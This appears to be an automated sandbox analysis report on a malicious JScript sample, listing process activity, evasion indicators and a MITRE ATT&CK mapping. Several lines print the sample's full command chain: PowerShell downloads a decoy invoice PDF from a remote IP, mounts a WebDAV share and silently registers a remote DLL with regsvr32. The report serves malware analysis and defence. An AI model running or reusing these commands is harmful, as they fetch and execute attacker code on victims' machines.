Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2448.js.csv");ITextStream.WriteLine(" entry:7818 f:vzunn");ITextStream.WriteLine(" exec:2 f:vzunn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49758

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5202			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4631			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep count: 5202 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep count: 4631 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5900	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1836	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1404425076.000001E9B08C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWzy
Source: net.exe, 00000007.00000003.1404425076.000001E9B08C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1411501269.000001E9B0858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2630551175.0000019FA7059000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2629563022.0000019FA1A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
